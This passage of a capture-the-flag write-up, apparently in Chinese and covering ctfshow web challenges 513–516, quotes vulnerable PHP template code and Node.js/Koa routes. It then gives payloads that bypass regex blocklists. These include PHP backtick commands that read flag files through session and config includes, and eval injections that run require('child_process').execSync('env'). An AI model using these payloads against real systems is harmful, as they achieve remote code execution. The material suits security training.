				if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){
					eval('$v='.$value.';');
					$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
				}
				
			}
		}
		return $templateContent;
	}

	public static function checkFoot($templateContent){
		if ( stripos($templateContent, '{{cnzz}}')) {
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$foot = $config['cnzz'];
			if(is_file($foot)){
				$foot=file_get_contents($foot);
				include($foot);
			}
			
		}
		return $templateContent;
	}

checkVar函数又增加了过滤,无法绕过。
增加了一个checkFoot函数。

修改昵称为

<?=`cat /f*`?>

创建模板文件path.sml

/tmp/sess_tjr3uviphhcn9f3cocfi77gl37

创建模板文件new.sml

123{{cnzz}}

修改系统配置中页面统计处为/var/www/html/templates/path.sml

访问/index.php?action=view&page=new触发checkFoot函数即可。

web514

checkFoot函数也增加了过滤

<?php
public static function checkFoot($templateContent){
		if ( stripos($templateContent, '{{cnzz}}')) {
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$foot = $config['cnzz'];
			if(is_file($foot)){
				$foot=file_get_contents($foot);
				if(!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/', $foot)){
					include($foot);
				}
				
			}
			
		}
		return $templateContent;
	}

创建模板文件path.sml

/var/www/html/config/settings

创建模板文件new.sml

123{{cnzz}}

修改系统配置中页面统计处为/var/www/html/templates/path.sml

修改系统配置中备案号为

<?=`cat /flag_is_here_es`?>

访问/index.php?action=view&page=new触发checkFoot函数即可。

web515

nodejs的题目

var express = require('express');
var _= require('lodash');
var router = express.Router();

/* GET users listing. */
router.get('/', function(req, res, next) {
  res.render('index', { title: '我是复读机' });
});

router.post('/',function(req,res,next){
	if(req.body.user!=null){
		msg = req.body.user;
		if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
		  	res.render('index', { title: '敏感信息不复读' });
		}else{
			res.render('index', { title: eval(msg) });
		}
	}else{
		res.render('index', { title: '我是复读机' });
	}
	 
});
module.exports = router;

命令执行绕过
利用request参数来绕过

payload

?id=require("child_process").execSync("env");

user=eval(req.query.id)

web516

routes/index.js

const router = require('koa-router')()
const User = require('../models/User.js')
const md5 = require('md5-node')

router.get('/', async (ctx, next) => {
	await ctx.render('index',{msg:'ctfshow'});
	await next();

});

router.post('/signin',async(ctx,next)=>{
  const username = ctx.request.body.username;
  const password = ctx.request.body.password;
  if(username=='admin'){
  	ctx.body={
  		code:'403',
  		msg:'you are not admin'
  	};
  	return;
  }
  const user = await User.findAll({
  	where:{
  		username:username,
  		password:password
  	}
  });

  if(user[0]!==undefined){
  	ctx.body={
  		code:'200',
  		url:'user/'+user[0].id
  	}
  }else{
  	ctx.body={
  		code:'404',
  		msg:'login failed'
  	};
  }
  
});

router.post('/signup',async(ctx,next)=>{
	  const username = ctx.request.body.username;
	  const password = ctx.request.body.password;
	  if(username=='admin'){
	  	ctx.body={
  		code:'403',
  		msg:'you are not admin'
  		};
	  	return;
	  }
	  const u = await User.create({username:username,password:password})
	  ctx.body={
	  	code:0,
	  	msg:'注册成功'
	  }
});

router.get('/user/:id',async(ctx,next)=>{
	const id=ctx.params.id;
	if(id==1){
	  	ctx.body={
  		code:'403',
  		msg:'非管理员无权查看'
  		};
	  	return;
	  }
	const user = await User.findAll({
		where:{
			id:id
		}
	});

	if(user!==undefined){
		ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');
	}else{
		ctx.render('/');
	}
});
module.exports = router

app.js

const Koa = require('koa')
const app = new Koa()
const views = require('koa-views')
const json = require('koa-json')
const onerror = require('koa-onerror')
const bodyparser = require('koa-bodyparser')
const logger = require('koa-logger')

const index = require('./routes/index')
const users = require('./routes/users')

// error handler
onerror(app)

// middlewares
app.use(bodyparser({
  enableTypes:['json', 'form', 'text']
}))
app.use(json())
app.use(logger())
app.use(require('koa-static')(__dirname + '/public'))

app.use(views(__dirname + '/views', {
  extension: 'ejs'
}))

// logger
app.use(async (ctx, next) => {
  const start = new Date()
  await next()
  const ms = new Date() - start
  console.log(`${ctx.method} ${ctx.url} - ${ms}ms`)
})

app.use(async(ctx,next)=>{
	if(ctx.request.body.password!==undefined && (ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null){
		return
	}else{
		await next()
	}
	
})

// routes
app.use(index.routes(), index.allowedMethods())
app.use(users.routes(), users.allowedMethods())

// error-handling
app.on('error', (err, ctx) => {
  console.error('server error', err, ctx)
});

module.exports = app

注册账号

username=hello&password=1)%2beval(eval(`ctx.requ`%2b`est.query.id`)

登录账号后通过id访问

/user/16?id=require("child_process").execSync("env");